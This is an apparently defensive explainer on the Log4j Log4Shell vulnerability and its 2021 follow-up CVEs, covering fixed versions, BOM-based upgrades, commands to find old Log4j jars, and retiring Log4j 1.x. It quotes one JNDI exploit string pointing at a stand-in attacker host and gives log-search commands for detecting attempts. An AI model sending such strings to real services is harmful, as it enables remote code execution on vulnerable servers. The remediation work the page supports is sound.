Apache Log4j: Log4Shell, fixed versions and finding old jars

Updated November 2026

Apache Log4j is the logging library inside a huge number of Java applications. In December 2021 a flaw called Log4Shell (CVE-2021-44228) let attackers run code on servers just by getting a crafted string logged. As of November 2026, the fix is simple: run Log4j 2.25.5 or 2.26.1 or later, and remove every copy of Log4j 1.x.

What Log4j is

Log4j 2 is a Java logging framework. It has two main parts, shipped as separate jar files:

This split matters for security: Log4Shell and its follow-ups were all in log4j-core. The project states that applications using only log4j-api without log4j-core were not affected. There are also bridges, for example log4j-slf4j2-impl, that route other logging APIs into Log4j Core. Log4j 2 needs at least Java 8.

Log4j 1.x is a different, much older library (package org.apache.log4j, last release 1.2.17). Log4j 2 was rewritten from scratch with a new package name and a new configuration format.

Log4Shell in plain words

Log4j 2 supports lookups: placeholders like ${env:HOME} that are filled in when a message is formatted. One lookup type used JNDI, a Java feature that can fetch objects from a remote directory server such as LDAP. In affected versions, lookups were also evaluated inside the logged message itself. So if an application logged anything an attacker controlled, such as a user-agent header, a username or a chat message, the attacker could send a string like ${jndi:ldap://attacker.example/x}. Log4j would contact that server and could load and run code from it.

That is why it rated 10.0, the maximum CVSS score: no login needed, easy to trigger, and full code execution. Many products embed Log4j without the operator knowing, which made it hard to find every copy.

The four 2021 CVEs and fixed versions

The first fix (2.15.0) was followed within weeks by three more. The table uses the fixed versions from the Apache Logging Services security page. Separate fixed versions exist for old Java runtimes.

Log4j 2 vulnerabilities of December 2021 (log4j-core)
CVECVSS 3.1What it isFixed in (Java 8+ / Java 7 / Java 6)
CVE-2021-44228 (Log4Shell)10.0 CriticalJNDI lookup in log messages runs code from an attacker's LDAP server2.15.0 / 2.12.2 / 2.3.1
CVE-2021-450469.0 CriticalThe 2.15.0 fix was incomplete: with a non-default pattern using Thread Context lookups such as $${ctx:loginId}, attackers could still reach JNDI2.16.0 / 2.12.3 / 2.3.1
CVE-2021-451055.9 MediumSelf-referential lookups cause infinite recursion and crash the process (denial of service)2.17.0 / 2.12.3 / 2.3.1
CVE-2021-448326.6 MediumAn attacker who can edit the logging configuration can use a JDBC appender with a JNDI data source to run code2.17.0 / 2.12.3 / 2.3.1

One detail is inconsistent on the project's own pages. For CVE-2021-44832 the security page lists 2.17.0, 2.12.3 and 2.3.1 as fixed, but the release notes say that 2.17.1 (December 27, 2021) is the release that addresses CVE-2021-44832, and the maintenance table lists 2.12.4 and 2.3.2 as the final Java 7 and Java 6 releases. If you are stuck on an old line, take the newest release of that line (2.12.4 or 2.3.2), not the minimum shown in the table.

Versions earlier than these, back to 2.0-beta9 for Log4Shell, are affected. Do not aim for these minimum versions today. There have been later Log4j fixes too (see below), so move to a current release.

Current versions

As of November 2026, the download page offers 2.26.1. The 2.26.x line is in active development and 2.25.x is in active maintenance; Log4j 3.0.0 is still in beta (3.0.0-beta3). The 2.12.x line (last release 2.12.4) was the last for Java 7, and 2.3.x (last release 2.3.2) the last for Java 6. Both have been out of maintenance since December 29, 2021.

Recent Log4j 2 advisories are smaller than Log4Shell, but real. Several medium-severity issues were fixed in 2.25.4 (March 28, 2026), including TLS host-name checks and broken JSON, XML and syslog output. CVE-2026-49844 was fixed in 2.25.5 and 2.26.1.

How to upgrade

With Maven, import the Log4j BOM so all Log4j modules stay on the same version, then list modules without versions:

<dependencyManagement>
  <dependencies>
    <dependency>
      <groupId>org.apache.logging.log4j</groupId>
      <artifactId>log4j-bom</artifactId>
      <version>2.26.1</version>
      <scope>import</scope>
      <type>pom</type>
    </dependency>
  </dependencies>
</dependencyManagement>

With Gradle:

dependencies {
  implementation platform('org.apache.logging.log4j:log4j-bom:2.26.1')
}

The BOM also overrides old versions pulled in by other libraries. Rebuild, redeploy, and check the result with the commands below. For commercial products that bundle Log4j, you cannot fix the jar yourself in a supported way: install the vendor's update and read their advisory.

Find vulnerable jars today

Old copies hide in forgotten apps, vendor appliances, backup folders and container images. Search in several ways.

1. Search the file system

sudo find / -xdev \( -name 'log4j-core-*.jar' -o -name 'log4j-1.2*.jar' \) 2>/dev/null

A file name like log4j-core-2.14.1.jar tells you the version directly. -xdev stays on one file system; run it again for other mounts.

2. Look inside WAR, EAR and "fat" jars

Applications often bundle Log4j inside another archive (WEB-INF/lib/) or merge its classes into one big jar, so the file name search misses it. This loop lists archives that contain a Log4j Core jar or its classes:

sudo find / -xdev -type f \( -name '*.jar' -o -name '*.war' -o -name '*.ear' \) -print0 2>/dev/null |
while IFS= read -r -d '' f; do
  if unzip -l "$f" 2>/dev/null | grep -Eq 'log4j-core-[0-9][^/]*\.jar|org/apache/logging/log4j/core/'; then
    echo "$f"
  fi
done

For a hit that holds the classes directly, read the bundled version (merged jars may not keep this file, so treat "nothing found" as unknown, not safe):

unzip -p app.jar META-INF/maven/org.apache.logging.log4j/log4j-core/pom.properties

3. Ask the build tool

mvn dependency:tree -Dincludes=org.apache.logging.log4j
./gradlew dependencyInsight --dependency log4j-core --configuration runtimeClasspath

Also search for Log4j 1: mvn dependency:tree -Dincludes=log4j:log4j.

4. Check packages and images

dpkg -l | grep -i log4j        # Debian/Ubuntu
rpm -qa | grep -i log4j        # RHEL/Fedora/openSUSE

For containers, scan images with a software composition or SBOM scanner in your CI pipeline. Each Log4j artifact ships with its own Software Bill of Materials (SBOM), which these tools can read.

5. Look for past attempts

Exploit strings were often obfuscated, so this only finds the simple ones, but it is a quick check on a web server:

sudo zgrep -i 'jndi' /var/log/apache2/access.log*     # Debian/Ubuntu
sudo zgrep -i 'jndi' /var/log/httpd/access_log*       # RHEL/Fedora

Hits only mean someone tried. If a vulnerable Java app was reachable at that time, follow our compromised site checklist. The Apache httpd server itself is written in C and does not use Log4j; the risk is Java applications behind it, such as apps on Tomcat.

Log4j 1.x: end of life

Log4j 1 has had no fixes since 2015. The Logging Services project announced its end of life on August 5, 2015. Vulnerabilities reported against it after August 2015 are not checked and will not be fixed.

Log4j 1 has no lookups, so Log4Shell itself does not apply. It has its own unfixed holes, listed on the 1.x site: CVE-2019-17571 (SocketServer deserialization), CVE-2021-4104 (JMSAppender via JNDI), CVE-2022-23302 (JMSSink), CVE-2022-23305 (SQL injection in JDBCAppender) and CVE-2022-23307 (Chainsaw). It also breaks on Java 9 and later in some areas, such as the MDC.

What to do:

  1. Find every log4j:log4j dependency (step 3 above).
  2. Migrate your own code to the Log4j 2 API, or to another maintained logging API.
  3. Convert log4j.properties or log4j.xml into a Log4j 2 configuration.
  4. If a third-party library still calls the Log4j 1 API, the log4j-1.2-api bridge can route its calls to Log4j 2 for now. The project calls the bridge deprecated and says it will not be in Log4j 3, so treat it as temporary.

The migration guide notes that some libraries depend on ch.qos.reload4j:reload4j, a separate fork of Log4j 1, in place of log4j:log4j. Search for both.

Keeping up

Sources